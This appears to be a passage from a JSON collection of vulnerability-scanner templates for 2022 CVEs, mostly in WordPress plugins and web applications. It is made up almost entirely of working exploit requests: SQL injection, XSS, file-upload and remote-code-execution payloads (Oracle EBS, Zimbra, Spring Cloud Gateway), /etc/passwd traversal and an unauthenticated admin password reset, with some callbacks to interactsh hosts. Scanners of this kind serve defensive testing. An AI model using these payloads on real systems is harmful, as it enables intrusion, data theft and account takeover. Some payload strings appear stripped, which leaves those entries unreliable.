application/x-www-form-urlencoded\n\naction=stopbadbots_grava_fingerprint&fingerprint=0\n","@timeout 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nX-Real-IP: {{IP}}\nContent-Type: application/x-www-form-urlencoded\n\naction=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))\n","GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(body_3, \"commentform\")"],"condition":"and"}]}]},{"id":"CVE-2022-0147","info":{"name":"WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'","toplevel_page_wp-gdpr-compliance"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3982","info":{"name":"WordPress Booking Calendar <3.2.2 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------1cada150a8151a54\n\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"action\"\n\nwpdevart_form_ajax\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_id\"\n\nx\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_nonce\"\n\n{{nonce}}\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_data\"\n\n{\"wpdevart-submit\":\"X\"}\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart-submit\"\n\n1\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n\n\n--------------------------1cada150a8151a54--\n","GET /wp-content/uploads/booking_calendar/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, 'e1bb1e04b786e90b07ebc4f7a2bff37d')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["var wpdevart.*\"ajaxNonce\":\"(.*?)\""],"internal":true}]}]},{"id":"CVE-2022-43018","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email= HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[":0"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45933","info":{"name":"KubeView <=0.1.31 - Information Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/scrape/kube-system"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["BEGIN CERTIFICATE","END CERTIFICATE","kubernetes.io"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0220","info":{"name":"WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-admin HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}\n"],"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(header_2, 'text/html')","status_code_2 == 200","contains(body_2, '') && contains(body_2, '/wp-content/plugins/')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["nonce\":\"([0-9a-z]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-2544","info":{"name":"WordPress Ninja Job Board < 1.3.3 - Direct Request","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp/wp-content/uploads/wpjobboard/","{{BaseURL}}/wp-content/uploads/wpjobboard/"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Index of /wp/wp-content/uploads/wpjobboard","Index of /wp-content/uploads/wpjobboard"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1903","info":{"name":"ARMember < 3.4.8 - Unauthenticated Admin Account Takeover","severity":"high"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=arm_shortcode_form_ajax_action&user_pass={{randstr}}&repeat_pass={{randstr}}&arm_action=change-password&key2=x&action2=rp&login2=admin\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Your Password has been reset","arm_success_msg"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3933","info":{"name":"WordPress Essential Real Estate <3.9.6 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin-ajax.php?action=ere_property_gallery_fillter_ajax&columns_gap=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C!-- HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\")","contains(body_2, \"ere_property_gallery\")"],"condition":"and"}]}]},{"id":"CVE-2022-33891","info":{"name":"Apache Spark UI - Remote Command Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/doAs?=`{{url_encode(\"{{command}}\")}}`"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["19833-2202-EVC"]}]}]},{"id":"CVE-2022-23544","info":{"name":"MeterSphere < 2.5.0 SSRF","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/resource/md/get/url?url=http://oast.pro"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh Server"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26564","info":{"name":"HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22>","{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22>&idclienti=1","{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22>"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","HotelDruid"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-21587","info":{"name":"Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv\n\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"bne:uueupload\"\n\nTRUE\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"uploadfilename\";filename=\"testzuue.zip\"\n\nbegin 664 test.zip\nM4$L#!!0``````\"]P-%;HR5LG>@```'H```!#````+BXO+BXO+BXO+BXO+BXO\nM1DU77TAO;64O3W)A8VQE7T5\"4RUA<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.\nM1%=24BYP;'5S92!#1TD[\"G!R:6YT($-'23HZ:&5A9&5R*\"`M='EP92`]/B`G\nM=&5X=\"]P;&%I;B<@*3L*;7D@)&-M9\"`](\")E8VAO($YU8VQE:2U#5D4M,C`R\nM,BTR,34X-R([\"G!R:6YT('-Y@```$,``````````````+2!`````\"XN+RXN\nM+RXN+RXN+RXN+T9-5U](;VUE+T]R86-L95]%0E,M87!P,2]C;VUM;VXO&M&3D174E(N<&Q02P4&``````$``0!Q````VP``````\n`\nend\n------WebKitFormBoundaryZsMro0UsAQYLDZGv--\n","GET /OA_CGI/FNDWRR.exe HTTP/1.1\nHost: {{Hostname}}\n","POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv\n\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"bne:uueupload\"\n\nTRUE\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"uploadfilename\";filename=\"testzuue.zip\"\n\nbegin 664 test.zip\nM4$L#!!0``````&UP-%:3!Malert(document.domain)\n-----------------------------59866212126262636974202255034--\n","GET /userfiles/media/default/{{to_lower(\"{{randstr}}\")}}.xml HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_3,\"alert(document.domain)\")","status_code_3==200","contains(body_2,\"bytes_uploaded\")"],"condition":"and"}]}]},{"id":"CVE-2022-22947","info":{"name":"Spring Cloud Gateway Code Injection","severity":"critical"},"requests":[{"raw":["POST /actuator/gateway/routes/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"predicates\": [\n {\n \"name\": \"Path\",\n \"args\": {\n \"_genkey_0\": \"/{{randstr}}/**\"\n }\n }\n ],\n \"filters\": [\n {\n \"name\": \"RewritePath\",\n \"args\": {\n \"_genkey_0\": \"#{T(java.net.InetAddress).getByName(\\\"{{interactsh-url}}\\\")}\",\n \"_genkey_1\": \"/${path}\"\n }\n }\n ],\n \"uri\": \"{{RootURL}}\",\n \"order\": 0\n}\n","POST /actuator/gateway/refresh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"predicate\": \"Paths: [/{{randstr}}], match trailing slash: true\",\n \"route_id\": \"{{randstr}}\",\n \"filters\": [\n \"[[RewritePath #{T(java.net.InetAddress).getByName(\\\"{{interactsh-url}}\\\")} = /${path}], order = 1]\"\n ],\n \"uri\": \"{{RootURL}}\",\n \"order\": 0\n}\n","DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["/routes/{{randstr}}"]},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[201]}]}]},{"id":"CVE-2022-1390","info":{"name":"WordPress Admin Word Count Column 2.2 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\\0"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0234","info":{"name":"WordPress WOOCS < 1.3.7.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","\"current_currency\":"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29004","info":{"name":"Diary Management System 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /edms/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nlogindetail={{username}}&userpassword={{password}}&login=\n","POST /edms/search-result.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nsearchdata=\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Serach Result Against \""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-47002","info":{"name":"Masa CMS - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1\nHost: {{Hostname}}\n","GET /admin/?muraAction=cEditProfile.edit HTTP/1.1\nHost: {{Hostname}}\nCookie: userid={{uuid}}; userhash=\n"],"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_3,\"\\\"userid\\\"\")"],"condition":"and"},{"type":"word","part":"body_3","words":["Edit Profile"]}],"extractors":[{"type":"regex","name":"siteid","group":1,"regex":["siteid:\"(.*?)\""],"internal":true,"part":"body"},{"type":"regex","name":"uuid","group":1,"regex":["\"lastupdatebyid\":\"([A-F0-9-]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-2379","info":{"name":"WordPress Easy Student Results <=2.2.8 - Improper Authorization","severity":"high"},"requests":[{"raw":["GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["\"departments\":","batches\":"],"condition":"and"},{"type":"word","part":"body_2","words":["meta_data","\"name\":\"","\"registration_no\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22733","info":{"name":"Apache ShardingSphere ElasticJob-UI privilege escalation","severity":"medium"},"requests":[{"raw":["POST /api/login HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nAccess-Token:\nContent-Type: application/json;charset=UTF-8\nOrigin: {{RootURL}}\nReferer: {{RootURL}}\n\n{\"username\":\"guest\",\"password\":\"guest\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"success\":true","\"isGuest\":true","\"accessToken\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1020","info":{"name":"WordPress WooCommerce <3.1.2 - Arbitrary Function Call","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption_key=a&perpose=update&callback=phpinfo\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2022-0817","info":{"name":"WordPress BadgeOS <=3.7.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=get-achievements&total_only=true&user_id=11 UNION ALL SELECT NULL,CONCAT(1,md5({{num}}),1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, md5(num))","contains(content_type, \"application/json\")","contains(body, \"badgeos-arrange-buttons\")"],"condition":"and"}]}]},{"id":"CVE-2022-0747","info":{"name":"Infographic Maker iList < 4.3.8 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=qcld_upvote_action&post_id=1+AND+(SELECT+1626+FROM+(SELECT(SLEEP(6)))niPH)\n","GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_2 == 200","contains(content_type_2, \"text/javascript\")","contains(body_2, \"show_ilist_templates\")"],"condition":"and"}]}]},{"id":"CVE-2022-1713","info":{"name":"Drawio <18.0.4 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /proxy?url=http%3a//0:8080/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Flowchart Maker & Online Diagram Software"]},{"type":"word","part":"header","words":["application/octet-stream"]}]}]},{"id":"CVE-2022-37042","info":{"name":"Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST {{path}} HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\ncontent-type: application/x-www-form-urlencoded\n\n{{hex_decode(\"504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000\")}}\n","GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"path":["/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1","/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd"]},"stop-at-first-match":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_1 == 401","status_code_2 == 200","contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"],"condition":"and"}]}]},{"id":"CVE-2022-43014","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /ajax.php?f=getPipelineJobOrder&joborderID=1)\">%20&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&isPopup=0 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","CATS="],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0824","info":{"name":"Webmin <1.990 - Improper Access Control","severity":"high"},"requests":[{"raw":["POST /session_login.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: redirect=1;testing=1;PHPSESSID=;\n\nuser={{username}}&pass={{password}}\n","POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nReferer: {{RootURL}}/filemin/?xnavigation=1\n\nlink=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Failed to write to /{{ranstr}}/index.html"]}]}]},{"id":"CVE-2022-0206","info":{"name":"WordPress NewStatPress <1.3.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog=admin&pwd=admin123&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"onanimationstart=alert(document.domain)\")","contains(body_2, \"newstatpress_page\")"],"condition":"and"}]}]},{"id":"CVE-2022-27984","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","@timeout: 20s\nPOST /templates/default/html/windows/right.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nmenu_filter=3'+AND+SLEEP(6)--+-&id=211&url=components%2Fmenu%2Fhtml%2Fedit.php&path=component%2Fmenu%2F%26menu_filter%3D3&uniqueClass=window_right_7526357\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"components/menu/classes/functions.php\")"],"condition":"and"}]}]},{"id":"CVE-2022-43167","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_alerts/users_alerts&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&type=warning&title=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&location=all&start_date=&end_date=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-1933","info":{"name":"WordPress CDI <5.1.9 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Tracking code not correct"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1574","info":{"name":"WordPress HTML2WP <=1.0.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 253\nContent-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990\nConnection: close\n\n-----------------------------7816508136577551742878603990\nContent-Disposition: form-data; name=\"local_importing[]\"; filename=\"{{randstr}}.php\"\nContent-Type: text/html\n\n","/newspaper"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29349","info":{"name":"kkFileView 4.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D"],"matchers-condition":"and","matchers":[{"type":"word","words":["txt\">123"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31373","info":{"name":"SolarView Compact 6.00 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["/Solar_AiConf.php/\">","HREF=\"Solar_Service.php\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28923","info":{"name":"Caddy 2.4.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%5C%5Cinteract.sh/%252e%252e%252f"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-0432","info":{"name":"Mastodon Prototype Pollution Vulnerability","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/embed.js"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["if (data.type !== 'setHeight' || !iframes[data.id]) {"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31474","info":{"name":"BackupBuddy - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1007","info":{"name":"WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, '')","contains(body_2, 'advanced-booking-calendar')","contains(header_2, 'text/html')","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-0212","info":{"name":"WordPress Spider Calendar <=1.5.65 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=window&callback="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["spider_Calendar_theme",""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0653","info":{"name":"Wordpress Profile Builder Plugin Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["here"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-35151","info":{"name":"kkFileView 4.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","\u56fe\u7247\u9884\u89c8"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24900","info":{"name":"Piano LED Visualizer 1.3 - Local File 